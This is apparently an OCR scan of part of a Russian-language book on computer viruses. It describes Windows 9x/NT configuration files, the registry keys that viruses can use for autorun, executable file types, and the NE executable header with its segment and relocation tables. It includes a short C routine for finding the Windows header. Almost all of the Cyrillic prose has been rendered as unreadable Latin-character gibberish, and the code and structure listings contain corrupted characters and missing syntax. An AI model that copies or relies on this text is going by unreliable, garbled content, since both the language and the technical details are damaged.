®Daiin «WIN.INI»:

[Windows]

load=lporpammbl, 3anyckaembe B CBEpPHYTOM Buae npu cTtapTe Windows
run=Mporpammel, 3anyckaemsle B OkHe npu cTapTe Windows

programs=PacumpeHns ucnonHaembix ¢annos (Hanpumep: COM, EXE, PIF, BAT...)

[Extensions]
Pacwupenne=CooTBeTCTBYWUWAs nporpamma (Hanpumep: ini=notepad ~.ini)

[Programs]
CTanpapTHoellpunoxenne=lMa nporpamMmHoro daina

®Daiin «SYSTEM.INI»:

[Boot]
shell=CTaHpapTHas nonb3osBaTenbckaa obonodka (Hanpumep: EXPLORE.EXE)
scrnsave. exe=lIMa nporpammsl, Ciyxauei xpaHuTenem akpaHa

4.1.8.2. Kongueypauuonnvte avirot u cmpyxmypot
Windows 9X

ITO CEMENCTBO ONEPAIIMOHHBIX CUCTEM OTJIMYAETCS CAMO CJIOKHOM U
3aIyTaHHOW CUCTEMOI HaCTPOEK.

Bo-nepBbix, onepaionHas cucteMa aBTOMATHYECKU 3aIyCKaeT Mpo-
rpaMmbl, pasmeriieHubie B karaiore «C:\Windows\[itaBaoe Mento\ITpo-
rpaMMbI\ABTO3arpyska», u jpaiisepoi, pazmeriernnie B «C:\Windows\
SYSTEM\IOSUBSYS».

Bo-BTOPBIX, B OTIEpAIMOHHBIX CUCTEMAX ATOTO KJIACCa TTO-TIPEKHEMY aK-
tyasbhbl KoHuryparmronubie Baitinbl « CONFIG.SYS» u «<AUTOEXEC.
BAT». Bce nactpoiiku, apaiiBeps! u (BHuManue!) pesuieHTHbIE TPOrpaM-
MBI, YIIOMSTHYThI€ B 3THX (hailyiax, OyyT OTPaKeHbl B A[PECHBIX TPOCTPAH-
cTBaxX Bcex 3amyckaembix DOS-mporpamm. Hampumep, pesuzieHTHbII
BUPYC, 3aPa3uBIINI OJHY U3 3arpy’KaeMbIX Ha 3TOM 3Talle MPOrpamm,
OyleT COXpPaHSITh AaKTUBHOCTH BO BCEX APECHBIX MPOCTPAHCTBAX BCEX
DOS-npunosxkenutii! Taxxe mpu crapre Windows 9X sarmyckaercst aii
«WINSTART.BAT», a npu Bbixojie B peskum MS-DOS orpabarbiBaet
daitn «DOSSTART.BAT», 06a oHu pacmioiokeHs B kKatamore Windows.

Caenyer ynomsinyTth, uto B Windows ME aiin « CONFIG.SYS» uc-
KYCCTBEHHO ClIeJTaH HEaKTyaJbHBIM W BCET/Ia MMeeT HYJIEBYIO JIJIUHY,
a aitn «<AUTOEXEC.BAT» 3anpeliien jijiss ”3MeHEHUs TI0JIb30BATETIEM.
Ho nebobInas «<Xupypruueckas onepanus», IpOU3BOANMAas TTOMYJISPHOIT
xakepckoir yrunautoir «WINMEDOSs wan psamom cucreMubx (aitnos
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Windows ME, BozBpaiiiaer UM mpexHIO0 (yHKIIMOHAILHOCTD, KOTOPast
HUKYy/Ia He IeJ1ach, a OblJIa MIPUHYAUTENILHO CKPBITA OT TJ1a3 M0JIb30BaTe s
nporpaMmucTamu us Microsoft.

B-tperbux, 8 Windows 9X no-nipesxkueMy AeiCTBUTENbHbI OOJIbIITNH-
CTBO HACTPOEK, npousBeieHHbIX B (paitnax «SYSTEM.INI» u « WIN.INI».
Caenyer umets B Bujy eiie daitn « WININIT.INT», kotopblit oTpabaThi-
BaeT TOJIBKO B mporiecce 3arpysku Windows, a 1moToM aBTOMaTHYECKU
YHUYTOKAETCS.

Haxoner, 8 Windows 9X 1mogBuiics HOBBIA M OYEHb MOIIHBIA MeXa-
HU3M KOHMDUTYPUPOBAHUS ONEPAIMOHHON cucTeMbr: Peecmp. Ousndecku
Peectp npezcrasisier co60ii CKPbIThIE ¥ 3allMIeHHbIE OT 3aicu (haiiibl,
pasmMelentbie B cucreMHoM KaTtagore Windows. Hanpumep, 8 Windows
95/98 a10 «SYSTEM.DAT» u «<USER.DAT», B Windows ME uactp nan-
nbix nepeneceda B «<CLASSES.DAT», a 8 Windows NT Peectp paciupe-
JleJIeH TI0 TISATH—CeMU pasyndHbIM (haiiyam. Jlormuecku e 3To orpoMHast
6asa maHHbIX, cocTosmasd, nogobuo INI-daiizam, 13 pasneIos U Kiode-
BBIX 3allMCeii, TOJbKO UMeIolask He JUHEHHYIO, a IPEBOBUIHYIO CTPYK-
Typy. BHyTpr kakoro-uubyzib pasiena MOTYT PasMeNiaTbCss HE TOJBKO
KJTIOYeBbIE 3AITUCH, HO U JIPYTHE Pa3/IeJibl, T0ITOMY (hprupMeHHas T0KyMEeH-
tarust Microsoft peKOMeH/yeT cuuTaTh pas/esibl KJIIOYEBbIMU 3alTUCSIMU
crieruaabHoro Buzia. Vtak, B 00IIeM ciydae KJIIOYeBble 3alUCH MOTYT
UMETDb He TOJIbKO TEKCTOBBIN M YMCJIOBOW BU/, HO MOTYT IPEICTaBIATD
€000l CCBITIKM HA JIPYTHe KJIOUYEBbIE 3AMUCH U JaXKe COJEPKATh IPOU3-
BOJIbHbBIE HAOOPDI IBOUYHBIX JIAHHBIX, COOTBETCTBYIOIIIE, HATIPIMED, Ka-
KUM-HUOY/Ib U300pasKEeHUsIM UM 3ByKaM. PeecTp OpraHu30BaH B BHJE
IIECTU «BETBEI», PACTYIIMX U3 OJIHOTO <KOPHSI»:

O HKEY_CLASSES ROOT (cokpamenno HKCR) — coxepxur
PasHOPOAHYIO HMHGOPMAIHNIO, TaKyl0 KaK 3aperucTpMpOBaHHbIE
paciupenust u TUIbI (HallIoB, KObl 0OBEKTOB MOJIH30BATEIHCKOTO
nnrepdeiica u mpoyee;

O HKEY_ CURRENT_USER (cokpamnienno HKCU) — onpenensier
JIOKAJIbHbIE YCTAHOBKM W HACTPOWKH, aKTyaJbHble Ui paboTaio-
Iero B HACTOSIIIIMI MOMEHT MOJIb30BATEJISI U KOHKPETHOTO TIPUJIO-
SKEHUS;

HKEY LOCAL MACHINE (cokpamenno HKLM) — conepsxur
JIAHHBIE O IPOTPaMMHO-arapaTHoit koudurypanuu [I9BM;
HKEY_ USERS - comepsur nrdopmanuio 060 Bcex 3aperucTpu-
POBAHHBIX TTOJH30BATENAX 1 UX WHAMBUYATHHBIX HACTPOMKAX;
HKEY CURRENT_CONFIG — cozpeput jgaHHbie O TeKyIlen
koHdurypanuu repudepuitibiX yCTPOUCTB;
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O HKEY DYN DATA — coxepsxut ykadareau Ha kiaoun HKLM,
coziepskaiiye HHGOPMAIIHMIO O TTPOU3BOUTETBHOCTH CUCTEMBI, Xa-
pakTeprucTUKax ycrpoiicts plug-n-play u mpouem.

OCHOBHBIM CPEICTBOM /ISt TI0JIb30BaTENbCKOI paboThl ¢ Peectpom
apyigercs cuctemuast yrunuta «REGEDIT». 3anyck ee ¢ kmouom /E
MO3BOJIIET TIOJIYIUTh B haitse ¢ pacimuperneM .REG TekcToByio komuio
cozmepsknmoro Peectpa, a 3amyck ¢ kiaodoM /C 1aeT BO3BMOKHOCTh CHOBA
CKOMIIOHOBATH U3 9TOTO TEKCTA IBOUYHBIN 00pas (TouHee, T06aBUTD OTIU-
CaHHbIE B TEKCTE KJIIOUK K <[TyCTOMY» 00pasy).

Bot HekoTopbie, HanGoJiee BaxKHBIE JIJIs HAC pas/iesibl U Kioun Peectpa:

O «HKLM\SOFTWARE\Microsoft\Windows\ CurrentVersion\

Run», a Takske siexxarniue B TOH ke BeTBU paszenbl «\RunOnce»,
«\RunServices», «\\RunServicesOnce», Kpome TOr0, BCe OIpa3ie-
JIBI ATHX PA3/IEJIOB U ILJIIOC K 9TOMY aHAJIOTUYHbIE KJIIOUH, JKUBYTIIE
B BerBr HKCU, — Bce onu nipu ctapre Windows cojiepskaT nepeuHu
ABTOMATUYECKH 3AITyCKAEMbIX IIPOTPAMM;
«HKLM\SOFTWARE\Microsoft\ Windows\ CurrentVersion\
AppPaths» — yka3bIBaIoT MOJIHBIE Ty TH JJIS TPOTPAMM;
«HKLM\ Pacmmpenne» — cBsI3bIBaeT pacimmpenne Qafiia ¢ KOHK-
PETHBIM TICEBJIOHUMOM THIIA JIAHHBIX (HATIPUMED, «Pcx» ¢ «pcexfiles);
«HKLM\IIcesmonumTumna\shell\open\command» — cBassiBaer
TNICEB/IOHUM THUIIA JAHHBIX C KOHKPETHBIM IPUJIOXKEeHUEeM (Harpu-
mep, «pexfile» ¢ «<PBRUSH.EXE»)'.

Ha camom gesie moTeHIIMAJIbHO OMACHBIX Kiodeil Peectpa MHOTO

Gourbiie!

4.1.8.3. Kongueypauyuonnvie paiinvt u cmpyxmypot
Windows NT

B Windows NT koJinuecTBO BOSMOKHBIX METOJIOB KOH(DUTYPUPOBAHUST
cuctembl (110 Kpaiiteil Mepe, ohuIaIbHbIX) OBLIO CHIBHO YPE3aHo, 110
cpasrennio ¢ Windows 9X. Co6¢TBEHHO TOBOPSI, X OCTAJIOCH TOJbKO TPU:

O  aitnsl «xAUTOEXEC.NT» u « CONFIG.NT» i1 HacTpoiiku cpe-

nel pyukimonupoBanusg DOS-miporpamm;

O <«WIN.INI» u «SYSTEM.INI» (tosbko st 16-0MTOBBIX IPO-

rpaMM, ckoMionoBanneix B hopmare Windows 3.X);

O Peectp.

Cuenyer orMerutb, 4to cTpyKTyphl Peectpos aig Windows NT u
s Windows 9X HeckoJIbKO pasandaiorcs, U B Bapuante 1 NT Toxe

! Vkasanubie Betsu BepHbl 1751 Windows 9X, a B Windows NT To ke camoe Hao

uckatb B mogBeTBsix HKEY CLASSES ROOT
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IPUCYTCTBYET HEMaJIOe KOJUYECTBO KJIOUEH, KOTOPble BUPYCHI MOTJIN
ObI TEM MJIM MHBIM 06Pa30M HCIIOJB30BATh JIJISI «aBTO3AIyCKay, HAIIPU-
mep «<HKLM\SOFTWARE\ Microsoft\Windows NT\ CurrentVersion\
WOW\boot». Hekotopbie u3 HUX 6y/1yT pacCMaTpUBaThCs HUKE — B IJIa-
B€, TIOCBAIIEHHOI CETEBBIM U TIOYTOBBIM YEPBSIM.

4.1.9. UcnonHsiemble daiinbl Windows

Boobiiie ToBops, 110 yMoadanuio B Windows cunTaioTcs MCIoaHsIeMbIMU
oueHb MHOTHeE THUIIBI (haiinos. [lepeuncanm HEKOTOPbBIE, HANbOIEE YACTO
UCIIOJIb3YEMbIE JIJIST HIX PACIIMPEHIS:

O «COM» — cOOTBETCTBYET yCTapeBIIeMY, HO BCe ellle MOIIEPIKU-
BaeMoMy (hopmaty mporpamMMmiubix ¢aiiios MS-DOS;

O «EXE» — coorBerctByeT rpytie (aitioBeix (opMaToB /IS MPO-
rpamM MS-DOS, Windows 3.X u Windows 9X/NT;

O «SCR» — cootrBerctByer rpyiiie GailjioBbX (HOPMATOB JIJISI 11PO-
rpamM Windows 3.X u Windows 9X/NT u ucoib3yercst HCKIIIO-
YUTEJBHO AT «XpaHuTesel aKkpaHay («CKpUHCEHBEPOBy );

«.CPL» — ucriosisieMblii KOMIIOHEHT MAHEJN YIIPABJIEHWS;
«.BAT» u «.CMD» — cOOTBETCTBYIOT TEKCTOBOMY (Daiisy, UCIoJ-
HgeMomy KomaniHbiMu Tiporieccopamt «COMMAND.COM» (s
MS-DOS u Windows 9X) u «CMD.EXE» (a1 Windows NT);

O «PIF» — coorBerctByeT utdopmannonnomy ¢aiiay, ocyIiecTs-
JigroneMy KoH(MDUTYprUpoBaHue Cpe/ibl ucrosinenus u 3amyck DOS-
mporpamMm B Windows;

O «LNK» (kpome Windows 3.X) — cooTBeTcTBYeT (hailiry-<«SpJIbIKY»,
COZIEPIKAIIEMY CCBLIKY Ha KakoH-HUOYIb APYrod MCIIOIHSEMbII
0OBEKT.

Ho, xak mokazaHo B MpeAbIAyIIeM pasjiesie, <UCIOJHsIeMbIM» B Win-
dows MoskeT cuuTaThest (Al ¢ JIIOOBIM PACITUPEHUEM, €CJIU CYIIIECTBYET
HPUJIOKEHUE, CIIOCOOHOE Er0 <MCIIOJHUTDY, M MEXKLY HUMU CKOH(MUTYPU-
poBaHO cooTBeTcTBUE. TaKUM 06Pa3OM, YCIIEITHO «UCIIOJHSATHCS» MOTYT
coBceM He mporpammubie (aiabl ¢ pacmupenusiMu <. TXTs, «.DOCy,
«.BMP», « REG», « WAV» 1 MHOTHE-MHOTHE JIpyTHE.

Kpome Toro, cienyer yrmoMsinyTh pacimpenus (GailioB IpaiiBepOB U
JMHAMUYECKUX OUOIMOTEK, colep KalliiX IPOrPAaMMHBINA KO, HO He sIB-
JISIOIIMXCSI HelocpeIcTBEHHO uctosasieMbiMu: «. DLLy, «.386», «. VXD»,
«.DRV», «.SYS» u npoune.

Craporii opmat EXE-daiinos, ucnonb3osasiuiics 8 MS-DOS (He
rosopst y:k 0 COM-dopmare), ObLI IJIOXO IPUCIIOCOOJIEH K YCIOBUSM
aJ[pecallil aMsITU B 3al[UIEHHOM peskiuMe paboTsl porieccopa. VimeH-

(ON©;
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HO 103TOMY crenuanbHo st Windows Obuii pazpaboTaHbl «HOBbIE>
opmars! ucronHsIeMbIX (haliIoB.

ITepsbiM 13 HuX GbLI popMmart, paspaboTanublii B cepeanne 80-X rogos
XX Beka Microsoft coBmectro ¢ IBM 151 nx 0011ero npoexTa — omneparu-
ounoii cucrembr OS/2. Ou nosryuns naumeHoBanne «New Executable» u
CTaJl OCHOBHBIM (DOpMATOM UCTOJIHIeMBIX (haitioB He Tobko st OS /2
Ho u gt Windows 3.X. Mbl 6yem HasbiBathb ero «NE-gopmamoms». Op-
HOBPEeMEHHO ¢ HUM TtosaBuics ¢popmar «Linear Executable», koTopsrii 1o
cux mop npumensiercst B Windows 9X 171t BUPTYyaibHbIX JPAiBEPOB — MbI
OyneM HasbIBaTh ero <«LE-popmamom».

ITpu nepexone na 32-paspsaaubie Windows 9X/NT Bosuukia He00X0-
IUMOCTD B hopMaTe UCIOJNHAeMbIX (DailI0B, ODUEHTUPOBAHHOM Ha I1JIOC-
KyI0 MOJIEJIb aJI[PECHOTO MpocTpancTa. Tak nosBuics <«PE-gopmams,
OCHOBOII KOTOPOTO TOCJYKUJIA MCIIOJIb30BABIIAACSA B PA3HBIX BEPCUSAX
UNIX crenuduranmus COFF (Commom Object File Format).

C BHespenvieM 64-pa3psiHON aPXUTEKTYPbI TTPOIECCOPOB HEMUHYEMO
MOSIBUTCSI e1ife OoJiee HOBbIH (JOPMAT UCTIOTHSIEMbIX (DAlIOB, HO TOBOPHUTD
ceifuac o HeM mpeskaeBpeMenHo. [Toka ke, B kauecTBe Mmajannarusa, hpup-
Moii Microsoft ucrosb3yercst ciierka BugonaMeHeHHas 64-paspsiiHast MO-
nudukarus «kiaccuyeckoros PE-dopmara.

Bce cymectByionue dopmaThel 1porpaMMHbIX (HailioB 0 CUX TOP
HCIIOJIb3YIOTCS, XOTS U B Pa3Hoii crenieny. VI3 HECKOJIBKUX THICSAY MPO-
rpaMMHBIX (haiiJIoB, TOMAAAONIMX Ha Balll KOMIIBIOTED IIPU yCTAHOBKE
onepannonHoil cucremsl (Hanpumep, Windows ME), npumepno 80%
odopmitenbl kak PE-miporpammbr, 15% — kak NE-miporpammbl, 4% — Kak
EXE-nporpammbr MS-DOS; a unoria MeroTcsi 1 HECKOJIBKO COBCEM YK
ycrapesinux COM-mporpamm.

MbI paccMOTpHUM ceifuac o0IIre TIPUHIUIIBL, JIEKAIHe B OPraHU3aIiu
NE- u PE-niporpamm. [Iporpammubie ¢haiijibl STUX TUIIOB MPE/ICTABIISAIOT
co00il «KEHTABPOB», COCTOSIIIUX U3 IBYX PASHOPOHBIX «TEJI»:

O KpOXOTHOIi, HO TIOJHOIIEHHO# 1TporpaMMKn B opmare MS-DOS,

BBIBOZSILEH Ha 9KpaH IIpeAyIIpesKiaoliee coobienne Hamooome
«This program can’t run in DOS mode», u Bcien 3a 9TUM HeMejI-
JIEHHO 3aBeplIaloNieiicsa — 9TO TaK Ha3blBaeMasl «3arJylikay WJn
«stub»;

O wucnosnHsemoii mporpammbl B ogHoM 3 Windows-dopmaros (PE-

niu NE-).

[Iporpamma B hopmate MS-DOS pacnosaraercs B navase aiisa, mo-
9TOMY IIEpBbIE [Ba ero OaiiTa B 1060M cirydae paBHbl «MZ». [IpusnakoM
sKe npucytertsust B daiine eme u Windows-mporpaMMbl SIBJISIETCS CIIE-



Cuctema opraHn3aunn Windows < 215

[MaIbHOE 3HAUEHHUE CJI0BA, PACIIOJIOKEHHOTO 110 a0COMOTHOMY (haiiioBOMy
emerenuio 18h (ato mone «Axpec B paiine Relocation Table» 8 MS-DOS-
3aroJioBKe), OHO JIOJKHO ObITH Oosibiie i papuo 40h. B atom ciryuae 1o
emeennio 3Ch B ¢aiine pacionaraercs 4-6aiiToBast CChLIKA Ha PETUOH
(aiina, koropoiit 3anumaetr Windows-mporpamma. TToCKOJIbKY OHa TOXe
HAYMHAETCSI CO CIENU(UIECKOro 3arojioBKa, IepBble ee GATbl PaBHBI
«PE» um «<NE».

Bort, Haripumep, Kak MOKET BBITJISIETH TIPOTIEYPa, OCYIIECTBIAIONASd
B aitsie nonck Windows-3arosioBka:
#include <stdio.h>
#include <io.h>

#include <fcntl.h>
#include <stat.h>

unsigned long winhdr(char =s)
{
int f, x; unsigned long a
f = open(s, O_BINARY|O_RDONLY, S_IREAD);
read(f, &x, 2);
if (x!=0x5A4D) { close (f); return 0; }
lseek(f, 0x18, SEEK_SET )
read(f, &x, 2);
if (x<0x40) { close (f); return 0; }
1seek(f, 0x3C, SEEK_SET )
read(f, &a, 4);
close(f);
return a

B o6uiem ciryuyae Windows-1iporpamma paceMatpuBaeMbix Hamu Ghop-
MAaToB COCTOUT W3:
O cayxebHOIT 0061aCTH, COeprKallell 3ar0J0BOK IIPOrPAMMbI U Pas-
JINYHbIEC HACTPOECYHbIE Ta6JII/I]_[bI;
Q nabopa cexnmii, CoAEPKAIMX KO, JAHHBIE, CTEK U T. IL.;
O Heobs3aTebHOrO (M Yalle BCero OTCYTCTBYIOIIEr0) OBEPJIEHOTO
CerMeHTa.
Cpeau TabJmil, pasMelleHHbIX B cyke0H0l obsactu daiina, cienyer
YIOMSIHYTB!
O  TabimiLy, OIKMCHIBAIOILYIO0 HA3HAYEHNUE U MECTOIOJIOKEHUE CEKIIMII;
O rtabuiy iepeMeraeMbix ccbiiok (relocation table);
Q  cChUIKY Ha TOYKY BXO/A B IIPOTPAMMY, PACIIOJIATAIONLYIOCS BHYTPU
OJTHOU U3 CEKITUH.
Taxoke BHYTpH 06J1aCTH 3aTOJIOBKA PACIIONATAIOTCA CIIUCKK (DYHKIIUA,
KOTOpBIE TIPOrpaMma OepeT JIJIsi CBOMX HYK/ M3 JPYTUX MPOrPaAMMHBIX
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L] MS-DOS-

3aronoeok

MS-DOS-nporpamma (stub)

NE wnu PE |

CnyxebHas obnacte
(Windows-2aronoBok)

Cexkuma 1

Cekuma N

Puc. 4.8 < 0606LLeHHas CTpyKTypa
Windows-nporpamm

kommoneHToB Windows (Hampumep, M3 AWHAMUYECKUX OUOIHOTEK),
U (DYHKIMI, KOTOpbIE caMa OHa TPEAOCTABJSET Uil HY/K APYTUX TIPO-
IPaMMHBIX KOMITOHEHTOB. OHU Ha3bIBAIOTCST MAOIUUAMU UMNOPTA i MAO-
JUYAMU HKCNOPMA COOTBETCTBEHHO.

Bce ynomsiayThie aseMeHThbl cTpoerns Windows-Tiporpamm peasinzo-
BaHbI B Pa3HbIX (hopMaTax mo-pasHomy, oaTomy 6oJsiee KOHKPETHO U MO/
PO6HO OHM OYYT PACCMOTPEHBI HIKE, B COOTBETCTBYIOIINX Pas3/iesiaX.

4.2. Bupycbl ANS 16-pa3psiaHbIX Bepcuii
Windows

— ..A 6ecedosan ¢ Kpucmobarem Xosesuuem u

¢ @edopom Cumeornosuuem. Onu noaazarom, umo

9mom QUBAH-MPAHCIAMOP NPEICABIEN JUULD
MY3EUHYI0 YEHHOCTD.

A.u b. Crpyrankue.

«[Tonenenbauk HaunHaercst B cyb6oTy»

Bupycos a1 Windows 3X cyiiecTByer o4eHb HEMHOTO, BCETO HECKOJIBKO
NIeCSATKOB, M 3AMeTHBIX SIUIEMUI OHU HUKOT/IA He BbI3bIBAIH. VHTEpec-
HO, 4TO HeMajias 10Jis BUpycoB a1 Windows 3X mosBuiach yske mocie
1995 roza, TO €CTh B TOT HCTOPUYECKHUI T1epro, koria 16-6uToBbie Bepcun
Windows yske cOTIN €O CIleHbI, BBITECHEHHBIE CBOUMUE GOJIee COBEPITIEH-
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HbiMu 32-6uToBbIMEU coOpaThsamu. He Gyier GobIM TIpeyBendyeHneM
CYMTATh, YTO TAKUE BUPYCHI CO3/ABATNCH UCKIIOUUTEIBHO <U3 JIOOBU
K MCKYCCTBY». XOTs1, KOHEUHO, CTOUT YIIOMSHYTh «MUKPOTIUIEMUIO» BU-
pyca Win.Tentacle.1958, cayuusiiytocst Bo Opannuu 8 1996 roxy; na u
Bupyc Win.Gollum takske BcTpedasicst B «IUKOIH IPUPOIE».

Kax 661 TO HU 6bLI0, TIporpamMMmubie daiiisl B «NE-hopmare» mo-
MPEsKHEMY TIPUCYTCTBYIOT Ha HANIMX KOMITbIOTEPAX, U BOIPOC UX <«3apa-
3MMOCTH» UMEET HEHYJIEBYIO aKTYaJIbHOCTD.

4.2.1. dopmar daiina NE-nporpammbl

Kaxk u siiobast mporpamma st Windows, NE-tiporpaMma siBJisieTcst «KeH-
TaBPOM» — COBOKYITHOCTBIO ABYX IIPOrpaMM, O/iHa N3 KOTOPBIX BBIITOJIHA-
eTcs ToJbKO us-1og MS-DOS, a apyras — toabko us-nog Windows [29].
MS-DOS-niporpamma pasmerniaercs B Hauase (aiiya, a CChIIIKA HA 3aro-
JIOBOK, ¢ KOTOPOTO HaunmHaeTcss Windows-miporpaMma, pacrosiaraercsi B
(aiine no abcomornomy cmenennio 3Ch. Yaie Bcero sra ceblika uMeer
sravenus 80h wim 200h.

ITOT 3aroJIOBOK XapaKTepU3yeTcsl YHUKAJIbHOW curHaTypoir «NE»
B CBOMX IEpBbIX GaliTax M MMeeT CJAeAYIONIYI0 CTPYKTYpy (cM. aii
«WINNT.H», Bxomsinuii B coctaB WIN32 SDK):

ne_magic dw 454Eh; +00h - YHukanbHas curHaTypa ‘NE

ne_ver db  ? . +02h - Bepcus KOMNOHOBUMKA

ne_rev db  ? . +03h - PeBu3ng KoMNoHoBWMKA

ne_enttab dw ? . +04h - CmeueHwe Tabnuubl To4yek Bxoda
ne_cbenttab dw ? . +06h - Pasmep Tabnuub TOYek BXoda

ne_crc dd ? ; +08h - KoHTponbHasg cymma

ne_flags dw ? ;. +0Ch - BuTh onucaHna WCnonHAeMoro Koaa
ne_autodata dw ? . +0Eh - Yucno cermeHToB “"aBTOAaHHbIX"

ne_heap dw ? ; +10h - McxoaHult pa3mep “Kyyn™

ne_stack dw ? . +12h - JlcxoaHblil pa3mep cTeka

[lonoxeHne TOYKM BXOAA ueﬂecoo6pasHo paccMaTpuBaTb Kak:

NE_IP dw ? . +14h - CmeueHne B KOAOBOM CErMeHTe

NE_CS dw ? . +16h - WHpeKc Ko[oBOro cermMeHTa

ne_csip dd ? . +14h - CS:IP - Toyka Bx0jaa

[lonoxeHne creka ueﬂecoo6paSHo paccMaTpuBaTh Kak:

NE_SP dw ? . +18h - CMmeleHne B CTEKOBOM CErMeHTe

NE_SS dw ? . +1Ah - WHpeKc CcTekoBOro cermeHTta

ne_sssp dd  ? . +18h - SS:SP - nonoxexnne creka

ne_cseg dw ? : +1Ch - KonuuecTBo 3anuceit B Tabnuue CerMeHTos
ne_cmod dw ? . +1Eh - KonuuecTBo 3anucelt B Tabnuue CChAOK
ne_cbnrestab dw ? . +20h - KonuuecTBO 3anucen B Tabnuue HepesnaeHToB
ne_segtab dw ? . +22h - CmeueHwe Tabnuubl CerMeHTos

ne_rsrctab dw ? . +24h - CwmeueHue Tabnuup pecypcos

ne_restab dw 7 . +26h - CmeueHne Tabnuup 9KCMOPTUPYEMbIX PE3-X UMEH
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ne_modtab dw ? ; +28h - CmeweHue Tabnuubl WMEH MMNOPTUPYEMbIX MOAYNen
ne_imptab dw ? ; +2Ah - CmeweHvne Tabnuup afpecoB UMNOPTUPYEMbIX UMEH
ne_nrestab dd ? ; +2Ch - CmeweHne Tabnuub 9KCNOPTUPYEMbIX HEPE3-X WMEH
ne_cmovent dw 7 ; +30h - KonuyecTBO nepemeliaeMbix TOHEK BX0Aa
ne_align dw ? ; +32h - [lBon4HbIi norapudm pasmepa N0ruyeckoro cekropa
ne_cres dw ? ; +34h - 4Yucno pecypCHbiX CEerMeHToB
ne_exetyp db ? ; +36h - KoL onepauroHHON CUCTEMbI
ne_flagsothers db ? ; +37h - Mlpo4ne nporpammubie ¢naru
ne_pretthunks dw ? ; +38h - Cmewerue o6nacTu OGbCTPOM 3arpysku
ne_psegrefs dw 7 ; +3Ah - Pasmep o6nacTu OLCTPON 3arpysku
ne_swaparea dw 7 . +3Ch - MuHMManbHb pasmep, BHIPYXaembli Ha AWNCK

; Bepcuio Windows uenecoobpasdHo paccMaTpuBaTb Kak

;. WIN_Vers db ? ; +3Ch - Homep Bepcun Windows

. WIN_Revs db ? ; +3Dh - Homep pesusunn Windows
ne_expver dw 7 ; +3Eh - Oxupaemas Bepcusi Windows

B mporiecce 3arpysku B OTI€paTUBHYIO MAMTh MOMALAIOT TOJBKO CEK-
I[UY, Ha KOTOPbIe pa3/ieieHa MPorpaMMa, U KaK/Iast CEKIIUs pa3MenaeTcst
B OT/IEJTBHOM cerMeHTe. Touka BX0/1a MOJKET PACIIOIaraThCs T/1e-TO BHYT-
Y OJTHO U3 TAKUX CEKITUT.

Kpowme 3arosioska, B ciryskeGHON 4acTh TIPOTPAMMBI PA3METIAIOTCS MHO-
rOYUCJIeHHbBIE CTysKeOHbIe TabIUIBL. VIX MECTOIONOKEHIE OTHOCUTETHHO
Hayasa 3TOTO 3ar0JIOBKA B 3TOM K€ 3aroJIOBKe U yKasbiBaeTcs. EnuHuia
U3MEDPEHUS TIPU 9TOM — JI02UUECKUE CeKMOPbL, PA3MeP KOTOPBIX OTIPeIeisi-
eTcst COAEPKRUMBIM ToJTst «<ne_aligns. Hanprmep, 3HaveHuio 9 B 3ToM 1oJie
COOTBETCTBYET PasMep JIOTHYECKOro cekropa 2°9=512 Gaiiros. Tabauiist
OTIMCHIBAIOT CTPYKTYPY NE-TporpaMMBbl M CBOIICTBA 3TUX CTPYKTYPHBIX
KOMITOHEHTOB.

4.2.1.1. Tabauua onucanus ceemenmos

MecronosioxkeHue aToil TabJUIbl XpaHUTCS B TIoJie <ne_segtab» 3aro-
JIOBKA, 2 KOJIMYECTBO €€ «CTPOK» — B MOJIe «ne_cseg». Tabumia onuchiBaet
CETMEHTBI, Ha KOTOpbIe Gy/IeT pasbuTta mporpaMmMa Ipy 3arpy3Ke B aMsITh,
pUYeM KaKJIOMY CETMEHTY COOTBETCTBYET O/lHA «CTPOKas. Bee «cTpokus
HEsIBHO TIPOHYMepOBaHbl, HaunHas ¢ 1. @opmar KaskIoil TAaKO! «CTPOKM»:

ns_sector dw ? ; +00 - CmeuweHune B NOrnyeckux CekTopax OT Hayana ¢ainna
ns_cbseg dw ? ; +02 - Pasmep B OaliTax

ns_flags dw ? ; +04 - BuToBble aTpubyTh CermeHTa

ns_minalloc dw ? ; +06 - Pesepsupyemas noa cermeHT namaTb (ecnu 0, To 64 KO)

Cambie Baxknble OuThl 1oJist «ns_flags» unTeprperupyores cienyio-
MM 06pa3oM:
QO o6wur 0: ycTaHOBJIEH [IJIsT CETMEHTA JIAHHBIX U COPOTIIEH JIJIST CETMEHTa
KOJIa;
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Q 6uT 7: ecavt yCTAHOBJIEH, TO O3HAYAET TPUSHAKK «TOJIBKO JIJIS UTe-
HUst» (€CJIM 9TO CETMEHT JIAHHBIX) U «TOJIBKO JIIS UCIOJHEHUS»
(ecsi 9TO CErMEHT KOJIA);

Q 6uT 8: eciu yCTAaHOBJIEH, TO B CETMEHTE MPUCYTCTBYIOT MOJIS, KO-
TOpble TPeOYIOT HACTPOMKU 3arpy34MKOM IIPOrPaMM II0 TabJIHie
HepEMEIaeMbIX CCBIJIOK.

4.2.1.2. Tabauua onucanus nepemeusaemvlx CCobLIOK

Ara Tabuia, ecau OHA eCThb, PACIOJAraeTcs cpasy IOC/e KOJO0BOIO
cermenTa. Hajmune uan oTcyrcTBue aToii Tabmibl Olpee/sieTcst OUToM
8 nons «ns_flags» Tabuuipl onucanus cermenTos. ITosoxkenne TabianIb!
TepeMenIaeMbIX CCBITOK JIETKO BBIYUCJIUTH, 3HAS MECTOIOJOKEHUE Cer-
MeHTa (11oJie «<ns_sector») u ero auny (moJje «ns_cbseg»). CHavyana uzger
16-6uTOBOE CIIOBO, XPaHSIIIEe KOJMUECTBO 3alTUCEN B 3TOI Tabsuile. 3ateM
ner cama TabJInIa epeMelaeMbIX CChLIOK € 3aIIUCAMU CIEAYIOIEro BUIA:
; +00 - Tun cceinku
. +01 - onarn cBOWCTB CCbiikn (3HadeHue pasHo O unu 4)

; +02 - nonoxeHne CCbINKM B CErMeHTe

;. +04 - HOMEp cermeHTa

; +05 - 3apesepsupoBaHoO

;. +06 - 3HadeHue CCbhinKK, HEKOTOpPOEe CMmelleHne B CerMeHTe

nr_stype db
nr_flags db
nr_soff dw
nr_segno db
nr_res db
nr_entry dw

B R N

BOBNKNKEHI{BTOpOﬁ,aﬂbTepHaTHBHbﬁiBapHaHTSaHHCHI

nr_stype db ? ; 400 - Tnn ccbinku

nr_flags db ? ; 401 - ¢naru cBOWCTB cChNkM  (3HayeHne paBHo 1 uan 2)
nr_soff dw ? ;7 +02 - nNonoOXeHMe CCHAKM B CermeHTe

nr_mod dw ? ; +04 - Homep WMMMOPTMPYEMOrO MOAYNs

nr_proc dw ? ; +06 - opanHan wnu CMeweHue WMeHu

